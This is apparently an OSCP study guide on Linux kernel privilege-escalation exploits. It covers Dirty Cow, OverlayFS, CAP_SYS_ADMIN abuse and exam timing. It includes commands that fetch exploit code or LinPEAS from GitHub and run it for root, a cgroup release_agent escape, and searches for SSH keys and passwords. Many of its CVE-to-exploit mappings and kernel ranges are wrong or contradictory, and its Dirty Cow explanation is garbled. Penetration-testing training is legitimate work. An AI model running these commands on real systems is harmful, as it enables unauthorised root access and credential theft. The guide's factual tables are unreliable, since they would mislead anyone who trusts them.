Domain 4PrivEsc & Password AttacksCORE

Kernel Exploits

Comprehensive guide to kernel exploitation for privilege escalation, covering exploit discovery, version compatibility, kernel hardening bypasses, Dirty Cow, OverlayFS exploits, cross-compilation, reliability assessment, and OSCP exam strategies.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#kernel#exploit#dirtycow#overlayfs#kaslr#privilege-escalation#linux

Kernel Exploits

1. When to Use Kernel Exploits

1.1 The Risk/Reward Assessment

Kernel exploitation should be your last resort in privilege escalation. Here’s why:

Factor Risk Impact
System crash High Kernel panic = lost shell, lost progress
Time consumption High Finding, compiling, testing takes 15-30+ minutes
Service disruption Medium May crash services, alert defenders
Success rate Variable Depends on kernel version, hardening, architecture

1.2 Decision Framework

                    ┌─────────────────────┐
                    │  Need Root Access   │
                    └─────────┬───────────┘
                              │
                    ┌─────────▼───────────┐
                    │  SUID/SGID binaries? │
                    └───┬────────────┬────┘
                      Yes│            │No
                         │            │
            ┌────────────▼──────┐    │
            │ Exploit SUID      │    │
            │ (Section 04)      │    │
            └───────────────────┘    │
                                     │
                    ┌────────────────▼───────────────┐
                    │  Sudo misconfigurations?        │
                    └───┬────────────────┬───────────┘
                      Yes│                │No
                         │                │
            ┌────────────▼──────┐        │
            │ Exploit sudo      │        │
            │ (Section 05)      │        │
            └───────────────────┘        │
                                         │
                    ┌────────────────────▼───────────────┐
                    │  Cron jobs, PATH, capabilities?     │
                    └───┬────────────────┬───────────────┘
                      Yes│                │No
                         │                │
            ┌────────────▼──────┐        │
            │ Exploit these     │        │
            └───────────────────┘        │
                                         │
                    ┌────────────────────▼───────────────┐
                    │  Kernel exploit (LAST RESORT)       │
                    └─────────────────────────────────────┘

1.3 When Kernel Exploits ARE Worth It

Scenario Recommendation
OSCP exam, 30+ min remaining, no other options Try reliable exploit (Dirty Cow)
OSCP exam, < 15 min remaining Skip — not worth the risk
Real engagement, stable box Try with caution
Kernel version has known reliable exploit Higher priority
Multiple hardening mechanisms active Lower priority, harder to exploit

2. Complete Kernel Exploitation Workflow

2.1 Step-by-Step Process

Step 1: Gather Information
       ├─ Kernel version: uname -a
       ├─ Architecture: uname -m
       ├─ Hardening: /proc/sys/kernel/*
       └─ Running modules: lsmod

Step 2: Find Exploits
       ├─ searchsploit "Linux Kernel <version>"
       ├─ exploit-db.github.io
       └─ GitHub searches

Step 3: Assess Compatibility
       ├─ Kernel version match?
       ├─ Architecture match?
       └─ Hardening bypass available?

Step 4: Transfer Exploit
       ├─ scp from attacker
       ├─ wget from attacker server
       └─ nc pipe transfer

Step 5: Compile (if needed)
       ├─ gcc -o exploit exploit.c
       └─ Cross-compile if different arch

Step 6: Test
       ├─ Run exploit
       ├─ Check for root shell
       └─ If crash, try another exploit

Step 7: Stabilize
       ├─ Spawn proper TTY
       └─ Verify root access

2.2 Information Gathering Commands

# Kernel version (MOST IMPORTANT)
uname -a
uname -r

# Architecture
uname -m
# Output: x86_64, i686, aarch64, armv7l

# OS release
cat /etc/os-release
cat /etc/issue

# Kernel modules
lsmod

# Dmesg for kernel messages (may need root)
dmesg 2>/dev/null | tail -20

# Check if exploit already ran
dmesg | grep -i "exploit\|overflow\|panic"

3. Finding Kernel Exploits

3.1 searchsploit

# On your attack machine (Kali):
searchsploit "Linux Kernel 5.4"
searchsploit "Linux Kernel 4.15 overlayfs"
searchsploit "Linux Kernel 3.13 dirty cow"

# Get exploit path
searchsploit -m 40847.c
# Copies to current directory

# Search by platform
searchsploit -p "Linux Local"

# Count results
searchsploit "Linux Kernel 4.15" | wc -l

3.2 exploit-db.github.io

# Browse: https://exploit-db.github.io/exploits/
# Or search directly:
# https://www.exploit-db.com/search?action=process&category=18&description=linux+kernel&title=&platform=1&author=&keywords=

# Direct exploit URL pattern:
# https://www.exploit-db.com/exploits/XXXXX
# Download: https://www.exploit-db.com/download/XXXXX

3.3 GitHub Resources

# Key repositories:
# https://github.com/offensive-security/exploitdb-bin-sploits
#   Pre-compiled kernel exploits
# https://github.com/WazeHell/kexp
#   Kernel exploit suggestion tool
# https://github.com/lucyoa/kernel-exploits
#   Curated collection
# https://github.com/bitsadmin/exploit-win
#   Windows kernel (for reference)

# Clone pre-compiled exploits:
git clone https://github.com/offensive-security/exploitdb-bin-sploits.git
cd exploitdb-bin-sploits/bin-sploits/
ls linux_local/

3.4 kexp — Kernel Exploit Suggestion Tool

# Install kexp
pip3 install kexp

# Run kexp with kernel info
kexp --kernel 5.4.0-42-generic --distro ubuntu --release 20.04

# kexp will suggest:
# - Compatible exploits
# - Reliability ratings
# - Required conditions
# - Compilation instructions

4. Kernel Version Compatibility Checking

4.1 Understanding Kernel Version Numbers

Linux version 5.4.0-42-generic (buildd@lcy01-amd64-036) (gcc version 9.3.0)
         │ │   │  │
         │ │   │  └─ Build-specific suffix
         │ │   └──── Minor version (patch level)
         │ └──────── Major version
         └────────── Version series

4.2 Version Matching Rules

An exploit targeting kernel 4.15.0 may work on:

Target Kernel Exploit Version Likely Works? Reason
4.15.0-20 4.15.0 ★★★★★ Exact match
4.15.0-105 4.15.0 ★★★★☆ Same minor
4.14.0 4.15.0 ★★★☆☆ Adjacent minor
4.16.0 4.15.0 ★★☆☆☆ Next minor, may differ
5.4.0 4.15.0 ★☆☆☆☆ Different major
3.13.0 4.15.0 ☆☆☆☆☆ Too old, different codebase

4.3 Distribution-Specific Considerations

# Ubuntu/Debian kernels have backported patches
# An exploit for vanilla 4.15 may NOT work on Ubuntu 4.15.0-XX-generic

# Check for backported security patches:
cat /proc/version
# Look for "-generic", "-amd64", "-cloud" suffixes

# Ubuntu HWE (Hardware Enablement) kernels differ from mainline
lsb_release -a
# Check if HWE kernel is in use

4.4 Version Check Script

#!/bin/bash
# Quick kernel version analysis
KERNEL=$(uname -r)
ARCH=$(uname -m)
DISTRO=$(cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d'"' -f2)

echo "=== Kernel Info ==="
echo "Version: $KERNEL"
echo "Arch: $ARCH"
echo "Distro: $DISTRO"

# Extract major.minor
MAJOR_MINOR=$(echo $KERNEL | cut -d'-' -f1 | cut -d'.' -f1-2)
echo "Major.Minor: $MAJOR_MINOR"

# Check known vulnerable ranges
if [[ "$MAJOR_MINOR" == "4.15" ]]; then
    echo "[!] Potentially vulnerable to OverlayFS CVE-2015-1328"
    echo "[!] Check for Dirty Cow variants"
elif [[ "$MAJOR_MINOR" == "3.13" ]]; then
    echo "[!] Likely vulnerable to Dirty Cow CVE-2016-5195"
elif [[ "$MAJOR_MINOR" == "5.4" ]]; then
    echo "[!] Check for CVE-2021-3493 (OverlayFS)"
fi

5. Architecture Compatibility

5.1 Common Architectures

Architecture uname -m Output Exploit Compatibility
x86_64 x86_64 Most exploits target this
i386 i686, i386 Some 32-bit specific exploits
ARM64 aarch64 Fewer exploits, need ARM-specific
ARM 32 armv7l, armv6l Very few exploits
MIPS mips, mips64 Rare, embedded systems

5.2 Cross-Compilation

# If target is ARM64 and your Kali is x86_64:
# Install cross-compiler
sudo apt install gcc-aarch64-linux-gnu

# Cross-compile
aarch64-linux-gnu-gcc -o exploit_arm64 exploit.c

# For ARM 32:
sudo apt install gcc-arm-linux-gnueabihf
arm-linux-gnueabihf-gcc -o exploit_arm exploit.c

# For i386 on x86_64:
sudo apt install gcc-multilib
gcc -m32 -o exploit32 exploit.c

5.3 Static Compilation

# For maximum portability, compile statically:
gcc -static -o exploit exploit.c

# This avoids glibc dependency issues on the target
# Warning: some exploits need dynamic linking for certain features

6. Kernel Hardening Mechanisms

6.1 KASLR (Kernel Address Space Layout Randomization)

What it does: Randomizes the base address of the kernel in memory.

# Check if KASLR is enabled
cat /proc/sys/kernel/kptr_restrict
# 0 = Kernel addresses visible to all
# 1 = Kernel addresses visible to root only
# 2 = Kernel addresses hidden from everyone

cat /proc/sys/kernel/randomize_va_space
# 0 = Disabled
# 1 = Conservative (shared libraries, BRK, STACK randomize)
# 2 = Full (conservative + heap randomization)

# Try to read kernel symbols
cat /proc/kallsyms | head
# If empty or "00000000", KASLR is hiding addresses

Bypass strategies:

  • Info leak vulnerabilities to discover kernel base
  • Brute force (reliable exploits often include KASLR bypass)
  • Disable KASLR via GRUB: kernel kpti=off kaslr=off

6.2 SMAP (Supervisor Mode Access Prevention)

What it does: Prevents supervisor mode (kernel) from accessing user space memory.

# Check if SMAP is enabled
dmesg | grep -i smap
grep smap /proc/cpuinfo

# In exploit code, look for:
# STAC (clear AC flag) / CLAC (set AC flag) instructions
# Exploits that handle SMAP will include these

6.3 SMEP (Supervisor Mode Execution Prevention)

What it does: Prevents kernel from executing code in user space pages.

# Check if SMEP is enabled
dmesg | grep -i smep
grep smep /proc/cpuinfo

# CR4 register check (if you have kernel debug access):
# bit 20 = SMEP, bit 21 = SMAP

6.4 KPTI (Kernel Page Table Isolation)

What it does: Separates kernel and user page tables to mitigate Meltdown.

# Check if KPTI is active
dmesg | grep -i "kpti\|pti"
# Look for: "PTI: Kernel page table isolation (KPTI) enabled"

grep Full /sys/kernel/debug/bootconfig 2>/dev/null
cat /sys/kernel/debug/x86/pti_enabled 2>/dev/null

6.5 SELinux and AppArmor

# Check SELinux status
getenforce
# Enforcing, Permissive, or Disabled

sestatus

# Check AppArmor status
aa-status
# Shows enforced and complain profiles

# Check if MAC is active
cat /sys/kernel/security/lsm
# Output: apparmor, or selinux, or both

6.6 Hardening Summary Table

Mechanism Purpose Check Command Bypass Difficulty
KASLR Randomize kernel addr /proc/sys/kernel/kptr_restrict Medium
SMAP Block kernel→user mem dmesg | grep smap Medium
SMEP Block kernel exec user dmesg | grep smep Medium
KPTI Isolate page tables dmesg | grep pti Hard
SELinux Mandatory access ctrl getenforce Hard
AppArmor Mandatory access ctrl aa-status Hard
stack protector Stack canary dmesg | grep cc_stackprotector Medium
W^X Write XOR Execute Check page tables Hard

7. Dirty Cow (CVE-2016-5195)

7.1 Vulnerability Explanation

Dirty Cow is a race condition in the Linux kernel’s handling of copy-on-write (COW) breaks in anonymous memory pages.

Normal COW flow:
  1. Process A and B share a memory page (read-only mapping)
  2. Process A writes → kernel creates private copy for A
  3. Process B still sees original page

Dirty Cow race:
  1. Process A starts COW break (mm_fault → do_cow)
  2. Process B simultaneously calls mmap() on same file
  3. Race window: kernel sets page read-only but hasn't finished COW
  4. Process B's mmap gets the read-only page
  5. Process A's write goes to the shared page (not the copy)
  6. Result: You can write to a read-only mapped file

7.2 Affected Kernels

Distribution Affected Range
All Linux 2.6.22 – 3.19.8-ckt23
All Linux 3.10 – 4.8.3-ckt1
All Linux 4.9 – 4.9.1
All Linux 4.14 – 4.14.1

Practically: Almost every Linux kernel from 2007-2016 is vulnerable.

7.3 Exploitation

# Method 1: searchsploit
searchsploit -m 40616.c
gcc -pthread -o dirtycow 40616.c
./dirtycow /bin/bash rootshell

# Method 2: The most popular variant (Re4lex)
searchsploit -m 40839.c
gcc -pthread -o dcow 40839.c
./dcow

# Method 3: One-liner (if gcc available)
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc dirtyc0w.c -o dirtyc0w -pthread
./dirtyc0w

# Method 4: Pre-compiled
# From exploitdb-bin-sploits:
cp bin-sploits/linux_local/40847 /tmp/dcow
chmod +x /tmp/dcow
/tmp/dcow

7.4 How the Exploit Works (40839.c)

// Simplified explanation of the exploit flow:

// 1. Create a thread that continuously calls process_vm_readv
//    to keep a page in a specific state

// 2. Main thread:
//    - Open /etc/passwd for writing (backup)
//    - mmap a read-only file
//    - Race: while process_vm_readv is running,
//      write to the mmap'd page
//    - This overwrites the original file content

// 3. Replace root password hash with a known hash
// 4. Use su root with the known password

7.5 Reliability Assessment

Factor Rating Notes
Works on 3.x kernels ★★★★★ Very reliable
Works on 4.x kernels ★★★★☆ Usually works
Works on 4.15+ ★★☆☆☆ Patched in most
Requires compilation Yes Needs gcc
System stability ★★☆☆☆ May cause crashes
Detection risk ★★★☆☆ Unusual process behavior

8. OverlayFS CVE-2015-1328

8.1 Vulnerability Explanation

OverlayFS is a union filesystem used by Docker and other container technologies. CVE-2015-1328 is a privilege escalation via incorrect permission checking in OverlayFS.

The vulnerability:
  1. OverlayFS mounts a "upper" and "lower" directory
  2. A file in the lower dir can be "whiteout'd" (hidden)
  3. The whiteout mechanism uses character devices or symlinks
  4. Bug: permission checks are done on the upper layer only
  5. Result: A user can create a file that appears to be owned by root
     but is actually controlled by the user

8.2 Affected Kernels

Kernel Range Status
3.13 – 4.3.3 Vulnerable
4.4 – 4.4.1 Vulnerable
4.8 – 4.8.2 Vulnerable
4.9 – 4.9.1 Vulnerable
4.10 – 4.10.2 Vulnerable
4.11 – 4.11.2 Vulnerable
4.12 – 4.12.4 Vulnerable
4.13 – 4.13.6 Vulnerable
4.14 – 4.14.12 Vulnerable

8.3 Exploitation

# Method 1: searchsploit
searchsploit -m 37292.c
gcc -o overlayfs 37292.c
./overlayfs

# Method 2: The diablohorn version (most popular)
searchsploit -m 41356.c
gcc -o offs 41356.c
./offs

# The exploit:
# 1. Creates an OverlayFS mount
# 2. Creates a whiteout file
# 3. Creates a malicious SUID binary through the overlay
# 4. The binary appears as root-owned but is user-controlled
# 5. Execute for root shell

8.4 Reliability

Factor Rating Notes
Requires OverlayFS support Kernel must have overlayfs Check: mount -t overlay
Requires mount permission User must be able to mount Often available in containers
System stability ★★★★☆ Generally stable
Detection risk ★★☆☆☆ Mount activity is visible

9. OverlayFS CVE-2021-3493

9.1 Vulnerability Explanation

A newer OverlayFS vulnerability affecting newer kernels. This is a use-after-free and permission bypass in the overlay filesystem.

The vulnerability:
  1. When creating a file in an overlay mount, the kernel
     creates an "opaque" xattr on the upper directory
  2. Bug: the permission check for setting this xattr is flawed
  3. A user can manipulate the overlay to gain write access
     to files they shouldn't be able to modify
  4. Result: Overwrite critical system files

9.2 Affected Kernels

Kernel Range Status
4.15 – 5.10.39 Vulnerable
5.11 – 5.11.10 Vulnerable
5.12 – 5.12.15 Vulnerable
5.13 – 5.13.11 Vulnerable
5.14 – 5.14.13 Vulnerable
5.15 – 5.15.3 Vulnerable

9.3 Exploitation

# searchsploit
searchsploit "CVE-2021-3493"
searchsploit -m 50913.c

# Compile and run
gcc -o cve-2021-3493 50913.c
./cve-2021-3493

# The exploit typically:
# 1. Creates overlay mount
# 2. Exploits permission check bypass
# 3. Overwrites /etc/passwd or creates SUID binary
# 4. Spawns root shell

10. CAP_SYS_ADMIN Abuse

10.1 What is CAP_SYS_ADMIN?

CAP_SYS_ADMIN is a Linux capability that grants broad administrative privileges. It is often described as “the SUID bit of capabilities.”

10.2 Privesc via CAP_SYS_ADMIN

# Check if you have CAP_SYS_ADMIN
cat /proc/self/status | grep Cap
# Compare with: capsh --decode=<value>

# Method 1: Mount namespace escape
unshare --mount --propagation private
mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/upper,workdir=/tmp/work /mnt
# Now you can modify the root filesystem

# Method 2: Namespace escape
unshare -r /bin/bash
# -r flag sets up new user namespace with UID 0

# Method 3: cgroup escape (if CAP_SYS_ADMIN in init namespace)
echo 1 > /sys/fs/cgroup/release_agent
# Triggers release_agent as root

# Method 4: nsenter into root namespace
nsenter -t 1 -m -u -i -n -p
# Enters PID 1's namespaces

10.3 CAP_SYS_ADMIN Capabilities

Action Requires CAP_SYS_ADMIN
Mount/unmount filesystems Yes
Create mount namespaces Yes
Use sysctl() Yes
Use swapon/swoff Yes
Use mknod Yes
Set domain name Yes
Override all file size limits Yes
Many more… Yes

11. Common Kernel Exploits by Version Range

11.1 Exploit Reference Table

Kernel Range Exploit CVE Reliability Notes
2.6.22 – 3.19 Dirty Cow CVE-2016-5195 ★★★★☆ Race condition, needs gcc
3.13 – 4.3 OverlayFS CVE-2015-1328 ★★★★☆ Needs mount access
3.0 – 3.18 Caps to Root CVE-2018-18955 ★★★★★ Very reliable
3.7 – 4.4.0 PPP Compres CVE-2016-5195 ★★★☆☆ Module-based
4.4 – 4.14 af_packet CVE-2017-1000373 ★★★★☆ UAF in af_packet
4.8 – 4.15 Netfilter CVE-2017-6074 ★★★☆☆ Conntrack UAF
4.10 – 4.15 eBPF CVE-2018-5390 ★★★★☆ Good reliability
4.10 – 4.15 eBPF alt CVE-2019-11135 ★★★★☆ Alternative eBPF
4.12 – 4.19 spi_butterfly CVE-2019-14896 ★★★★☆ NULL ptr deref
4.15 – 5.10 OverlayFS CVE-2021-3493 ★★★★☆ Newer kernels
4.15 – 5.11 sudoedit CVE-2021-3156 ★★★★★ Not kernel, but related
5.0 – 5.2 clk-bulk CVE-2020-0692 ★★★☆☆ Use-after-free
5.2 – 5.6 ib_srpt CVE-2020-14331 ★★★☆☆ UAF in SCSI
5.4 – 5.8 nft_object CVE-2020-14379 ★★★☆☆ Netfilter UAF
5.8 – 5.10 nft_obj_use CVE-2021-22555 ★★★☆☆ Use-after-free
5.10+ Various Multiple ★★☆☆☆ Harder to exploit

11.2 Most Reliable Exploits for OSCP

Rank Exploit Why Reliable
1 Dirty Cow (CVE-2016-5195) Well-tested, many variants, works on old kernels
2 Caps to Root (CVE-2018-18955) Simple, no race condition, very stable
3 eBPF (CVE-2018-5390) No race condition, clean exploitation
4 OverlayFS (CVE-2015-1328) Simple logic, stable execution
5 sudo Baron Samedit Not kernel but often the answer

12. Cross-Compilation of Kernel Exploits

12.1 When You Need Cross-Compilation

Your Machine Target Machine Need Cross-Compile?
x86_64 Kali x86_64 target No
x86_64 Kali i386 target Yes (gcc -m32)
x86_64 Kali ARM64 target Yes (aarch64-linux-gnu-gcc)
x86_64 Kali ARM 32 target Yes (arm-linux-gnueabihf-gcc)

12.2 Cross-Compilation Commands

# Install cross-compilers
sudo apt install gcc-aarch64-linux-gnu
sudo apt install gcc-arm-linux-gnueabihf
sudo apt install gcc-multilib

# Cross-compile for ARM64
aarch64-linux-gnu-gcc -static -o exploit_aarch64 exploit.c

# Cross-compile for ARM 32
arm-linux-gnueabihf-gcc -static -o exploit_arm exploit.c

# Cross-compile for i386
gcc -m32 -static -o exploit_i386 exploit.c

# Transfer to target
scp exploit_aarch64 user@target:/tmp/

12.3 Handling Missing Libraries

# If static compilation fails, try:
gcc -static -no-pie -o exploit exploit.c

# If you need specific flags:
gcc -O2 -fno-stack-protector -no-pie -static -o exploit exploit.c

# For exploits that use threads:
gcc -pthread -static -o exploit exploit.c

13. Kernel Exploit Reliability Assessment

13.1 Reliability Factors

Factor High Reliability Low Reliability
Race condition None needed Heavy timing dependency
KASLR bypass Built-in or not needed Requires separate info leak
SMAP/SMEP Handled by exploit Not handled
Compilation Simple gcc Complex build process
Testing Well-tested, many successes Unverified, theoretical
Kernel range Narrow, specific Broad, may not match

13.2 Reliability Rating Scale

Rating Meaning Exam Recommendation
★★★★★ Works 95%+ of the time Use with confidence
★★★★☆ Works 80%+ of the time Good choice
★★★☆☆ Works 60%+ of the time Try if nothing else works
★★☆☆☆ Works 40%+ of the time Last resort
★☆☆☆☆ Works <40% of the time Avoid in exam

13.3 Pre-Flight Check Before Running

# Before running ANY kernel exploit, verify:

# 1. Kernel version matches
uname -r

# 2. Architecture matches
uname -m

# 3. gcc is available (if compilation needed)
which gcc

# 4. Check hardening
cat /proc/sys/kernel/kptr_restrict
dmesg | grep -iE 'smap|smep|kaslr|pti'

# 5. Check if overlayfs is available (for overlay exploits)
mount -t overlay test /tmp/test 2>&1

# 6. Check available disk space
df -h /tmp

# 7. Check if exploit binary exists and is executable
ls -la /tmp/exploit
file /tmp/exploit

14. When NOT to Use Kernel Exploits in OSCP

14.1 Time Management Rules

Time Remaining Action
> 45 minutes Try kernel exploit if no other options
30-45 minutes Try only the most reliable exploit
15-30 minutes Skip kernel exploits, focus on other techniques
< 15 minutes Do NOT attempt kernel exploits

14.2 Risk Assessment

Should I try a kernel exploit?

  ┌─────────────────────────────────────┐
  │ Are there other privesc options?     │
  │   Yes → Exhaust those first          │
  │   No  → Continue ↓                   │
  └─────────────────┬───────────────────┘
                    │
  ┌─────────────────▼───────────────────┐
  │ Do I have 20+ minutes remaining?    │
  │   Yes → Continue ↓                  │
  │   No  → Skip kernel exploits        │
  └─────────────────┬───────────────────┘
                    │
  ┌─────────────────▼───────────────────┐
  │ Is there a reliable exploit for     │
  │   this kernel version?              │
  │   Yes → Try it (start with most     │
  │         reliable)                   │
  │   No  → Skip, move to next machine  │
  └─────────────────────────────────────┘

14.3 Alternative Last-Resort Techniques

Before kernel exploits, try:

# 1. Capabilities
getcap -r / 2>/dev/null

# 2. Sudo (again)
sudo -l

# 3. SUID (again)
find / -perm -4000 -type f 2>/dev/null

# 4. Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab

# 5. PATH hijacking
echo $PATH
which -a <commands_in_cron>

# 6. Writable scripts
find / -writable -type f -name "*.sh" 2>/dev/null

# 7. Docker socket
ls -la /var/run/docker.sock

# 8. SSH keys
find / -name "id_rsa" 2>/dev/null

# 9. Passwords in files
grep -r "password" /home/ 2>/dev/null
grep -r "PASS=" /etc/ 2>/dev/null

# 10. Wildcard injections
# Check cron jobs for wildcard usage

15. Pre-Compiled Exploit Collections

Repository URL Contents
exploitdb-bin-sploits github.com/offensive-security/exploitdb-bin-sploits Pre-compiled exploits
LinuxExploitSuggester github.com/mzet-/LinuxExploitSuggester Perl-based suggestion tool
LinEnum github.com/rebootuser/LinEnum Enumeration script
linux-privesc-check github.com/jondonas/linux-privesc-check Comprehensive checker
PEASS-ng github.com/carlospolop/PEASS-ng PrivEsc Awesome Script Set
kernel-exploits github.com/lucyoa/kernel-exploits Curated kernel exploits

15.2 LinuxExploitSuggester Usage

# Download
wget https://raw.githubusercontent.com/mzet-/LinuxExploitSuggester/master/LinuxExploitSuggester.pl

# Run (reads uname -a output)
uname -a | perl LinuxExploitSuggester.pl

# Or run directly on target
perl LinuxExploitSuggester.pl --verbose

# Output includes:
# - Title of exploit
# - URL to exploit
# - Description
# - Tags (local, remote, etc.)

15.3 PEASS-ng (LinPEAS)

# Download linpeas.sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Or upload binary version
./linpeas

# LinPEAS automatically checks:
# - Kernel exploits
# - SUID/SGID binaries
# - Sudo permissions
# - Interesting files
# - Credentials
# - Writable directories
# - And much more

16. Mitigation Strategies

16.1 Kernel Updates

# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-generic

# RHEL/CentOS
sudo yum update kernel

# Check current kernel vs available
apt list --upgradable | grep linux-image

16.2 Enable All Hardening

# /etc/sysctl.conf
kernel.kptr_restrict = 2
kernel.randomize_va_space = 2
kernel.dmesg_restrict = 1

# Apply
sysctl -p

# GRUB options (add to GRUB_CMDLINE_LINUX):
# grub.cfg:
# quiet splash kpti=on kaslr

16.3 SELinux/AppArmor Enforcement

# Enable SELinux
setenforce 1
# Add to /etc/selinux/config:
# SELINUX=enforcing

# Enable AppArmor
aa-enforce /etc/apparmor.d/*

17. OSCP Exam Tips

17.1 Kernel Exploit Exam Strategy

# 1. Have pre-downloaded exploits ready on your Kali:
mkdir -p ~/oscp/kernel-exploits/
cd ~/oscp/kernel-exploits/

# Pre-download the most common ones:
# Dirty Cow variants
# OverlayFS CVE-2015-1328
# CVE-2018-18955 (caps to root)
# CVE-2018-5390 (eBPF)
# Baron Samedit (sudo, but related)

# 2. Pre-compile what you can:
for f in *.c; do
    gcc -o "${f%.c}" "$f" 2>/dev/null
done

# 3. Create a quick transfer script:
cat > ~/transfer_exploit.sh << 'EOF'
#!/bin/bash
# Usage: ./transfer_exploit.sh <target_ip> <exploit_name>
IP=$1
EXPLOIT=$2
scp ~/oscp/kernel-exploits/$EXPLOIT root@$IP:/tmp/ 2>/dev/null
scp ~/oscp/kernel-exploits/$EXPLOIT user@$IP:/tmp/ 2>/dev/null
EOF

17.2 Kernel Version Cheat Sheet

If kernel is… Try this exploit first
< 3.13 Dirty Cow (almost certainly works)
3.13 – 4.4 OverlayFS CVE-2015-1328
4.4 – 4.8 Dirty Cow variants, af_packet
4.8 – 4.15 eBPF CVE-2018-5390
4.15 – 5.4 OverlayFS CVE-2021-3493
5.4+ Check kexp, may need custom research

17.3 Quick Kernel Exploit Workflow for Exam

# ON THE TARGET:
uname -a                    # Get kernel version
uname -m                    # Get architecture
which gcc                   # Check compiler
cat /proc/sys/kernel/kptr_restrict  # Check KASLR

# ON KALI:
searchsploit "Linux Kernel <version>"  # Find exploits
# OR
kexp --kernel <version> --distro <distro> --release <release>

# Transfer and compile:
scp exploit.c user@target:/tmp/
# On target:
gcc -o exploit exploit.c
chmod +x exploit
./exploit

# If successful:
id
cat /root/proof.txt
cat /root/root.txt

17.4 Remember

  1. Kernel exploits are last resort — always try SUID, sudo, cron, and capabilities first.
  2. Have exploits pre-downloaded — don’t waste time searching during the exam.
  3. Dirty Cow is your friend — works on most older OSCP boxes.
  4. Baron Samedit (CVE-2021-3156) is technically sudo, not kernel, but is the most common “version-based” exploit on the exam.
  5. Time management is critical — if an exploit crashes the box, you’ve lost 5-10 minutes.
  6. Pre-compiled binaries save time — use exploitdb-bin-sploits collection.
  7. Know your kernel versions — memorize the common vulnerable ranges.